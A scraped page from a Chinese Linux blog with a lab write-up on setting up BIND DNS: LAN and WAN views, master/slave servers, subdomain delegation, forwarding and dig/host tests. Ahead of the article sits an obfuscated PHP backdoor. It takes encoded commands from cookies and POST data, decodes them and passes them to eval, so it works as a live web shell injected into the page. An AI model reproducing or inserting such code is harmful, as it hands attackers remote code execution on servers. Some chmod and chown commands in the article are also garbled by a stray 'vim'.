$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 推荐-DNS架设实验 | Linux运维部落

推荐-DNS架设实验

DNS架设实验


  • 实验拓扑

  • 实验准备

  • 流程

  • 测试

  • 总结


实验拓扑:

DNS实验拓扑

1.对于来自内网的DNS正反向解析,并实现view选择指定解析库解析。
2.对于来自外网的DNS正向解析,并实现view选择指定解析库解析。
3.实现主从服务器结构。
4.实现一个完成对一个子域的授权。
5.子域中的所有查询xiao.com.的信息都转向192.168.1.1解析。

view

1.根据view,对外网发送的解析请求转为解析为服务器对外IP。
2.根据view,对内网发送的解析请求转为解析为服务器内网IP。

实验准备

由于是虚拟机进行的实验,所以在网络架设阶段遇到了困难,最后只有妥协下折中将ns1.xiao.com这台机器增加网卡,配置两个不同网段地址,开启路由转发,当作路由器来连接两个网络。

vim /etc/sysctl.conf
    net.ipv4.ip_forward = 1  修改为1
reboot

流程;

1.架设xiao.com的名称服务器。

[root@xiao.comdns ~]# vim /etc/named.conf   配置named.conf文件。
        acl LAN{ 192.168.1.0/24; };             设置acl,此为内网网段的acl,表示内网网段内的所有IP。
        acl WAN{ ! 192.168.1.0/24 ; any; };     设置acl,此为外网网段的acl,表示除了内网网段外的所有IP。
        options {
                listen-on port 53 { 192.168.1.1; 201.0.0.1;  };     监听在192.168.1.1和201.0.0.1的53端口上。
                directory       "/var/named";           zone文件存放目录。
                dump-file       "/var/named/data/cache_dump.db";
                statistics-file "/var/named/data/named_stats.txt";
                memstatistics-file "/var/named/data/named_mem_stats.txt";
        //      allow-query     { localhost; };     注释掉查询白名单,表示循序所有主机查询。
                recursion yes;          允许DNS服务器在不知道查询主机的情况下,去像其他服务器做迭代查询得到结果。

                dnssec-enable no;       关闭安全审查机制。
                dnssec-validation no;
                dnssec-lookaside no;

                /* Path to ISC DLV key */
        //      bindkeys-file "/etc/named.iscdlv.key";   使用key来加密,注释不使用。

        //      managed-keys-directory "/var/named/dynamic";    
        };

        logging {
                channel default_debug {
                        file "data/named.run";
                        severity dynamic;
                };
        };

[root@xiao.comdns ~]# vim /etc/named.rfc1912.zones       配置区域文件
    //
    // named.conf   
    //
    // Provided by Red Hat bind package to configure the ISC BIND named(8) DNS      
    // server as a caching only nameserver (as a localhost DNS resolver only).
    //
    // See /usr/share/doc/bind*/sample/ for example named configuration files.
    //

    view "LAN" {                view LAN范围的开始,指定内网的区域设定。
    match-clients { "LAN"; };       view LAN的应用对象,即指定此网段的请求都使用次范围内的解析库来解析。
    zone "." IN {               根解析区域设定,一般文件自带行。
            type hint;
            file "named.ca";
    };

    zone "localhost.localdomain" IN {   本地回环解析区域设定,一般文件自带行。
            type master;
            file "named.localhost";
            allow-update { none; };
    };

    zone "localhost" IN {       本地回环解析区域设定,一般文件自带行。
            type master;
            file "named.localhost";
            allow-update { none; };
    };

    zone "1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa" IN {   IPV6的本地回环区域设定,一般文件自带行。
            type master;
            file "named.loopback";
            allow-update { none; };
    };

    zone "1.0.0.127.in-addr.arpa" IN {      本地回环的区域解析库的反向解析设定,一般文件自带行。
            type master;
            file "named.loopback";
            allow-update { none; };
    };

    zone "0.in-addr.arpa" IN {      
            type master;
            file "named.empty";
            allow-update { none; };
    };
    zone "xiao.com" IN {            设定xiao.com的区域设定。
            type master;            类型为主服务器。
            file "xiao.com.zone";       解析库文件为/var/named/xiao.com.zone
            };
    zone "1.168.192.in-addr.arpa" IN {    设定192.168.1.0网段的反向解析区域,格式为 [NETNUMBER反写.in-addr.arpa]。
            type master;        类型为主服务器。
            file "192.168.1.zone";      解析库文件为/var/named/192.168.1.zone。
            };

    };  view LAN的范围的结束

    view "WAN" {            view WAN范围的开始,指定外网的区域设定。
    match-clients { "WAN"; };       view WAN的应用对象,即指定此网段的请求都使用次范围内的解析库来解析。
    zone "." IN {       根解析区域设定。
        type hint;          设定类型为hint,即根区域。
        file "named.ca";        设定解析库文件为named.ca
        };

    zone "xiao.com" IN {        设定xiao.com区域。
        type master;        类型为主服务器。
        file "wanxiao.com.zone";    文件为wanxiao.com.zone。
        };  
    };

[root@xiao.comdns ~]# vim /var/named/xiao.com.zone  配置LAN的xiao.con.zone的解析库。
    $TTL 82400      设定TTL变量,指定当前所有的默认TTL(解析缓存存活时间)的值为82400
    @       IN      SOA     xiao.com.  admin.xiao.com. (            设定SOA
                                          1 1H 5M 1W 1M)            
    @       IN      NS      ns1.xiao.com.                   当前域的name server1
    @       IN      NS      ns2.xiao.com.                   当前域的name server2
    ns1     IN      A       192.168.1.1                     NS1的地址,注意,地址与wan区域的IP的不同。
    ns2     IN      A       192.168.1.2                     NS2的地址!。
    www     IN      A       192.168.1.8                     www主机的地址!。

    ops     IN      NS      ns1.ops.xiao.com.               子域的name server,子域授权。
    ns1.ops IN      A       192.168.1.3                     子域的name server地址。

[root@xiao.comdns ~]# vim /var/named/wanxiao.com.zone    配置WAN的xiao.con.zone的解析库。
    $TTL 82400
    @       IN      SOA     xiao.com. admin.xiao.com. (             设定SOA
                                        0 1H 5M 1W 1D )     
            IN      NS      ns2.xiao.com.                   当前域的name server1
            IN      NS      ns1.xiao.com.                   当前域的name server2
    ns1     IN      A       201.0.0.1                       NS1的地址,注意,地址与lan区域的IP的不同。
    ns2     IN      A       201.0.0.2                       NS2的地址!。
    www     IN      A       201.0.0.3                       www主机的地址!。

    ops     IN      NS      ns1.ops.xiao.com.               子域的name server,子域授权。
    ns1.ops IN      A       192.168.1.3                     子域的name server地址。

[root@xiao.comdns ~]# vim /var/named/192.168.1.zone     配置反向解析库文件。
    $TTL 824000 
    @       IN      SOA     xiao.com. admin.xiao.com. (         设定SOA
                    3 1H 5M 1W 5M )
            IN      NS      ns1.xiao.com.
            IN      NS      ns2.xiao.com.
    1       IN      PTR     ns1.xiao.com.                   PTR反向解析中的192.168.1.1的对应的域名。
    2       IN      PTR     ns2.xiao.com.                   PTR反向解析中的192.168.1.2的对应的域名。
    8       IN      PTR     www.xiao.com                    PTR反向解析中的192.168.1.8的对应的域名。

[root@xiao.comdns ~]# chmod 640 /var/named/wanxiao.com.zone vim /var/named/192.168.1.zone /var/named/xiao.com.zone      更改权限。
[root@xiao.comdns ~]# chown :named /var/named/wanxiao.com.zone vim /var/named/192.168.1.zone /var/named/xiao.com.zone       更改属组。

2.架设与xiao.com的从服务器。

[root@salves.dns ~]# vim /etc/named.conf            配置named.conf
    acl LAN{ 192.168.1.0/24; };                     设定acl
    acl WAN{ ! 192.168.1.0/24;any;};                设定acl
    options {                                       与服务器设定基本一致。
    listen-on port 53 { 192.168.1.2; };
    directory       "/var/named";
    dump-file       "/var/named/data/cache_dump.db";
    statistics-file "/var/named/data/named_stats.txt";
    memstatistics-file "/var/named/data/named_mem_stats.txt";
    allow-query     { any; };
    recursion yes;

    dnssec-enable no;
    dnssec-validation no;
//  dnssec-lookaside auto;
//  bindkeys-file "/etc/named.iscdlv.key";
//  managed-keys-directory "/var/named/dynamic";
};

logging {
        channel default_debug {
                file "data/named.run";          
                severity dynamic;
        };
};

[root@salves.dns ~]# vim /etc/named.rfc1912.zones       配置区域文件,只需在结尾加上以下内容。
    view LAN{
    match-clients { "LAN" ;};   view一定要和主服务器保持一致!!

    ... 

    zone "xiao.com" IN {    配置正向解析xiao.com区域    
            type slave;     指定类型为从服务器。
            masters { 192.168.1.1; };       指定主服务器地址。
            file "slaves/xiao.com.zone";    指定同步后存放的文件路径。
    };
    zone "1.168.192.in-addr.arpa" IN {  配置反向解析1.168.192.in-addr.arpa的区域。
            type slave;     指定类型为从服务器。
            masters { 192.168.1.1; };       指定主服务器地址。
            file "slaves/192.168.1.zone";   指定同步后存放的文件路径,不同view需要存放不同的名称。
    };
    };

    view WAN{                   view一定要和主服务器保持一致!!
    match-clients {"WAN"; };
    zone "." IN {
            type hint;
            file "named.ca";
    };

    zone "wanxiao.com" IN {
    type slave;
    masters { 192.168.1.1;};
    file "slaves/wanxiao.com.zone";     指定同步后存放的文件路径,不同view需要存放不同的名称。
    };      
    };

[root@salves.dns ~]# chmod 640 /var/named/wanxiao.com.zone vim /var/named/192.168.1.zone /var/named/xiao.com.zone       更改权限。
[root@salves.dns ~]# chown :named /var/named/wanxiao.com.zone vim /var/named/192.168.1.zone /var/named/xiao.com.zone        更改属组。

设定完成之后即可通过日志文件查或者指定文件路径中的/var/named/slaves中看到同步的解析库文。

[root@salves.dns ~]# ll /var/named/slaves/
    192.168.1.zone  xiao.com.zone           可以看到已经同步到指定路径下了。

3.架设子域ops.xiao.com名称服务器,设定转发服务。

架设子域服务器即和普通的name server一样即可,下面简要的略过,仅对转发功能的设定做解释。

[root@ops.xiao ~]# vim /etc/named.rfc1912.zones 
    ...
    zone "ops.xiao.com" IN {
            type master;
            file "ops.xiao.com.zone";
    };
    zone "xiao.com" IN {    xiao.com区域的解析设定。
            type forward;   设定为转发类型。    
            forward only;   设定为only,将所有xiao.com的查询都转发。 还可以设置为first,即如果指定dns不回应,则本机去迭代完成查询。
            forwarders { 192.168.1.1; };
            };
    };

[root@ops.xiao ~]# vim /var/named/ops.xiao.com.zone 
    $TTL 82400
    @       IN      SOA     ops.xiao.com.   admin.ops.xiao.com. (
                            0 1H 5M 1W 5M )
            IN      NS      ns1.ops.xiao.com.
    ns1     IN      A       192.168.1.3
    www     IN      A       192.168.1.4


[root@salves.dns ~]# chmod 640 /var/named/ops.xiao.com.zone     更改权限。
[root@salves.dns ~]# chown :named /var/named/ops.xiao.com.zone  更改属组。

其实子域就是我们的name server,比如说我们这里的父域xiao.com.其实是.com.的子域,所以如果有需要完全可以在ops.xiao.com这个域上使用其他上述的技术,view,主从等。

测试

通过192.168.1.3测试正向解析。
[root@ops.xiao ~]# host -t A www.xiao.com 192.168.1.1   正向解析测试。
    Using domain server:
    Name: 192.168.1.1
    Address: 192.168.1.1#53
    Aliases: 

    www.xiao.com has address 192.168.1.8        查询得知www.xiao.com的IP为192.168.1.8

通过192.168.1.3测试反向解析。
[root@ops.xiao ~]# host -t PTR 192.168.1.8 192.168.1.1   反向查询测试。
    Using domain server:
    Name: 192.168.1.1
    Address: 192.168.1.1#53
    Aliases: 

    8.1.168.192.in-addr.arpa domain name pointer www.xiao.com.1.168.192.in-addr.arpa.  查询得知192.168.1.8的域名为www.xiao.com

通过192.168.1.3测试主从轮询。
[root@ops.xiao ~]# dig -t A www.xiao.com @192.168.1.1   dig命令的功能与host类型,但是能够更加清楚的显示信息,这里查看主从服务器轮询情况。

    ; <<>> DiG 9.9.4-RedHat-9.9.4-29.el7_2.3 <<>> -t A www.xiao.com @192.168.1.1      
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46131
    ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 4096
    ;; QUESTION SECTION:
    ;www.xiao.com.          IN  A

    ;; ANSWER SECTION:
    www.xiao.com.       82400   IN  A   192.168.1.8

    ;; AUTHORITY SECTION:
    xiao.com.       82400   IN  NS  ns2.xiao.com.       轮询切换NS2
    xiao.com.       82400   IN  NS  ns1.xiao.com.       轮询切换NS1

    ;; ADDITIONAL SECTION:
    ns1.xiao.com.       82400   IN  A   192.168.1.1
    ns2.xiao.com.       82400   IN  A   192.168.1.2

    ;; Query time: 0 msec
    ;; SERVER: 192.168.1.1#53(192.168.1.1)
    ;; WHEN: 四 4月 14 16:52:17 CST 2016
    ;; MSG SIZE  rcvd: 125

通过192.168.1.1测试子域设定。
[root@xiao.comdns ~]# host -t A www.ops.xiao.com 192.168.1.2: 子域查询测试。
    Using domain server:
    Name: 192.168.1.2
    Address: 192.168.1.2#53
    Aliases: 

    www.ops.xiao.com has address 192.168.1.4

通过201.0.0.10测试view
[root@wan-test ~]# dig -t A www.xiao.com @201.0.0.1     view测试实现智能DNS测试。

    ; <<>> DiG 9.9.4-RedHat-9.9.4-29.el7_2.3 <<>> -t A www.xiao.com @201.0.0.1
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7535
    ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 4096
    ;; QUESTION SECTION:
    ;www.xiao.com.          IN  A

    ;; ANSWER SECTION:
    www.xiao.com.       82400   IN  A   201.0.0.3       可以看到返回的ip为201.0.0.3

    ;; AUTHORITY SECTION:
    xiao.com.       82400   IN  NS  ns1.xiao.com.       
    xiao.com.       82400   IN  NS  ns2.xiao.com.

    ;; ADDITIONAL SECTION:
    ns2.xiao.com.       82400   IN  A   201.0.0.2       NS1的ip 201.0.0.2
    ns1.xiao.com.       82400   IN  A   201.0.0.1       NS2的ip  201.0.0.1

    ;; Query time: 0 msec
    ;; SERVER: 201.0.0.1#53(201.0.0.1)
    ;; WHEN: Thu Apr 14 20:05:50 CST 2016
    ;; MSG SIZE  rcvd: 125

通过192.168.1.4测试forward
[root@wan-test ~]# dig -t A www.xiao.com @192.168.1.3       forward测试

    ; <<>> DiG 9.9.4-RedHat-9.9.4-29.el7_2.3 <<>> -t A www.xiao.com @192.168.1.3
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40723
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 4096
    ;; QUESTION SECTION:
    ;www.xiao.com.          IN  A

    ;; ANSWER SECTION:
    www.xiao.com.       71029   IN  A   192.168.1.8     查询结果。

    ;; AUTHORITY SECTION:
    xiao.com.       71029   IN  NS  ns2.xiao.com.       通过转发到了192.168.1.1查询
    xiao.com.       71029   IN  NS  ns1.xiao.com.

    ;; ADDITIONAL SECTION:
    ns1.xiao.com.       71029   IN  A   192.168.1.1
    ns2.xiao.com.       71029   IN  A   192.168.1.2

    ;; Query time: 1 msec
    ;; SERVER: 192.168.1.3#53(192.168.1.3)      使用的DNS地址
    ;; WHEN: Thu Apr 14 20:12:38 CST 2016
    ;; MSG SIZE  rcvd: 125

总结

问题解决:

1.在搭建中遇到了死活无法通过192.168.1.2查询到子域,先确定是由于主从同步没有进行的问题,然后发现view在从服务器上没有配置,接着发现由于是内网环境不能上网,不知道什么原因导致时间不一致,而无法同步,解决以上问题解决无法同步。
2.出现无法使用指定DNS查询,但是在DNS服务器上却可以,最后发现是因为iptables没有配置而造成的问题。
3.出现了各种错误,通过查询日志可以得到很好的线索和答案,大部分都是因为语法或者不注意而造成的。

未解决问题:

因为此实验是在虚拟机的环境下搭建的,所以基于网络架设比较不便,就将子域设为了内网下的一个子域,在做子域的view时遇到了由于是内网子域,所以导致外网访问子域下的域名主机时,无法识别,但是如果不设定,返回的只能是内网下的192.168.1.0网段的IP,很乐意有有人能帮助我解答这个疑问。

原创文章,作者:Net18_肖肖,如若转载,请注明出处:http://www.178linux.com/14854

(0)
上一篇 2016-04-19 11:11
下一篇 2016-04-19 11:37

相关推荐

  • 磁盘管理—MBR分区与GPT分区总结

    描述: 1,什么是磁盘分区   磁盘分区是使用分区编辑器(partition editor)在磁盘上划分几个逻辑部分,盘片一旦划分成数个分区(Partition),不同类的目录与文件可以存储进不同的分区。 2,硬盘结构及参数   3D参数(Disk Geometry):CHS(Cylinder/Head/Sector)  &nb…

    Linux干货 2016-08-29
  • 磁盘管理

    设备文件 I/O Ports: I/O 设备地址 一切皆文件: open(), read(), write(), close() 设备类型: 块设备:block ,存取单位“块”,磁盘 [root@localhost ~]# ll /dev/ brw-rw—-. 1 root disk 253, 0 Apr 29 03:53 dm-0 块设备 brw-r…

    2017-04-28
  • linux 中的 文本处理工具

    文本处理工具  在linux系统中 文本工具有很多 现在具体介绍几款 如 抽取文本的工具 和文件三剑客  文件内容:less和 cat   文件截取:head和tail   按列抽取:cut   按关键字抽取:grep egrep 首先 有 查看文件的cat tac  cat [OPTION]&#8…

    Linux干货 2016-08-11
  • Linux发展史

    一、从 Unix 到 Linux 这一段历史         早在 Linux 出现之前的二十年 ( 大约在 1970 年代 , 就有一个相当稳定而成熟的操作系统存在了!那就是 Linux 的老大哥『 Unix 』是也!怎么这么说呢?!他们这两个家伙有什么关系呀?这里就给他说一说啰!众所皆知的,Linux 的核心是由 …

    Linux干货 2016-10-14
  • Linux进程管理之“四大名捕”

    一、四大名捕 四大名捕,最初出现于温瑞安创作的武侠小说,是朝廷中正义力量诸葛小花的四大徒弟,四人各怀绝技,分别是轻功暗器高手“无情”、内功卓越的高手“铁手”、腿功惊人的“追命”和剑法一流的“冷血”本文四大名捕由linux命令所出演      无情:ps     出演      铁…

    Linux干货 2016-04-25
  • 作业用户和组管理

    1、创建用户gentoo,附加组为bin和root,默认shell为 /bin/csh,注释信息为"Gentoo Distribution" 首先来分析下题目,创建一个gentoo用户,那我们这时候就想到了useradd命令,不错,就是这个命令,创建用户gentoo时会默认创建主组gentoo,那么想同时将用户gentoo加到root,b…

    Linux干货 2016-08-03

评论列表(1条)

  • stanley
    stanley 2016-04-19 11:36

    有实战,有总结,赞,图很专业